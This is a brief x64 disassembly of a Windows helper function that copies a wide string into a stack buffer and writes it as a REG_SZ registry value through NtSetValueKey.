Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0xc0
mov rdi, rcx
mov rbx, r8
lea rcx, [rsp + 0x30]
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
xor r8d, r8d
test rbx, rbx
je 0x14000f831
lea rax, [rsp + 0x40]
cmp rax, rbx
je 0x14000f831
movzx ecx, word [rbx]
lea rax, [rsp + 0x40]
test cx, cx
je 0x14000f82d
lea rdx, [rsp + 0x40]
sub rbx, rdx
mov word [rax], cx
add rax, 2
movzx ecx, word [rbx + rax]
test cx, cx
jne 0x14000f81d
mov word [rax], r8w
lea rax, [rsp + 0x40]
cmp word [rsp + 0x40], r8w
je 0x14000f848
add rax, 2
cmp word [rax], r8w
jne 0x14000f83e
lea rcx, [rsp + 0x40]
mov r9d, 1
sub rax, rcx
lea rdx, [rsp + 0x30]
sar rax, 1
mov rcx, rdi
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_NtSetValueKey]
mov rbx, qword [rsp + 0xd0]
add rsp, 0xc0
pop rdi
ret